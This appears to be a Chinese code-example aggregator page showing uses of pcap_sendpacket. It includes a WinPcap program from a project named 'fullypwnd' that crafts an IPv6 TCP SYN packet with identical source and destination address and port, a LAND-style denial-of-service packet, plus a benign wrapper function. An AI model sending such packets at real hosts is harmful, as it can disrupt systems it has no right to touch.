开发者ID:Dexhub,项目名称:cse-690-01,代码行数:101,代码来源:bittwistx.c


示例19: main

int main(int argc, char* argv[])
{
if ( argc<4 )
{
usage(argv[0]);
return EXIT_FAILURE;
}

int retVal;
struct addrinfo hints,*addrinfo;

ZeroMemory(&hints,sizeof(hints));

WSADATA wsaData;
if ( WSAStartup( MAKEWORD(2,2), &wsaData ) != NO_ERROR )
{
fprintf( stderr, "Error in WSAStartup():%d\n",WSAGetLastError());
return EXIT_FAILURE;
}
//
// Get MAC address of remote host (assume link local IpV6 address)
//

hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;

retVal = getaddrinfo(argv[2],0, &hints, &addrinfo);
if ( retVal!=0 )
{
WSACleanup();
fprintf( stderr, "Error in getaddrinfo():%d\n",WSAGetLastError());
exit(EXIT_FAILURE);
}

//
// Open WinPCap adapter
//
if ( (pcap_handle = pcap_open_live (argv[1], 1514, PCAP_OPENFLAG_PROMISCUOUS, 
100, (char*)errbuf)) == NULL )
{
freeaddrinfo(addrinfo);
WSACleanup();
fprintf(stderr, "Error opening device: %s\n",argv[1]);
return EXIT_FAILURE;
}

ZeroMemory(packet,sizeof(packet));
struct sockaddr_in6 *sa = (struct sockaddr_in6 *) addrinfo->ai_addr;

// fill ethernet header
eth_hdr->ether_dhost[0] = eth_hdr->ether_shost[0] = 0;// assume address like 
00:something;
eth_hdr->ether_dhost[1] = eth_hdr->ether_shost[1] = sa->sin6_addr.u.Byte[9];
eth_hdr->ether_dhost[2] = eth_hdr->ether_shost[2] = sa->sin6_addr.u.Byte[10];
eth_hdr->ether_dhost[3] = eth_hdr->ether_shost[3] = sa->sin6_addr.u.Byte[13];
eth_hdr->ether_dhost[4] = eth_hdr->ether_shost[4] = sa->sin6_addr.u.Byte[14];
eth_hdr->ether_dhost[5] = eth_hdr->ether_shost[5] = sa->sin6_addr.u.Byte[15];
eth_hdr->ether_type = 0xdd86;


// fill IP header
// source ip == destination ip

memcpy(ip6_hdr->ip_src.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte));

memcpy(ip6_hdr->ip_dst.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte));
ip6_hdr->ip_hl = 255;
ip6_hdr->ip_nh = IPPROTO_TCP;
ip6_hdr->ip_len = htons (20);
ip6_hdr->ip_flags[0] = 0x06 << 4;
srand((unsigned int) time(0));
// fill tcp header
tcp_hdr->th_sport = tcp_hdr->th_dport = htons (atoi(argv[3])); // source 
port equal to destination
tcp_hdr->th_seq = rand();
tcp_hdr->th_ack = rand();
tcp_hdr->th_off = htons(5);
tcp_hdr->th_win = rand();
tcp_hdr->th_sum = 0;
tcp_hdr->th_urp = htons(10);
tcp_hdr->th_off = 5;
tcp_hdr->th_flags = 2;
// calculate tcp checksum
int chsum = libnet_in_cksum ((u_int16_t *) & ip6_hdr->ip_src, 32);
chsum += ntohs (IPPROTO_TCP + sizeof (struct libnet_tcp_hdr));
chsum += libnet_in_cksum ((u_int16_t *) tcp_hdr, sizeof (struct 
libnet_tcp_hdr));
tcp_hdr->th_sum = LIBNET_CKSUM_CARRY (chsum);
// send data to wire
retVal = pcap_sendpacket (pcap_handle, (u_char *) packet, sizeof(packet));
if ( retVal == -1 )
{
fprintf(stderr,"Error writing packet to wire!!\n");
}
//
// close adapter, free mem.. etc..
//
pcap_close(pcap_handle);
//.........这里部分代码省略.........
开发者ID:B-Rich,项目名称:fullypwnd,代码行数:101,代码来源:1000.cpp


示例20: pcap_sendpacket

/*
 * Puts the specified packet in the interface
 * Parameters:
 * 		packet_data: a pointer to the packet data
 * 		size: size of data to read
 * Returns: 0 if the packet was sent, -1 on error
*/
int Interface::inject(const u_char *packet_data, size_t size) {
	return pcap_sendpacket (handle, packet_data, size);
}
开发者ID:codestation,项目名称:usbridge,代码行数:10,代码来源:Interface.cpp



注:本文中的pcap_sendpacket函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ pcap_setfilter函数代码示例发布时间:2022-05-30
下一篇:
C++ pcap_open_offline函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap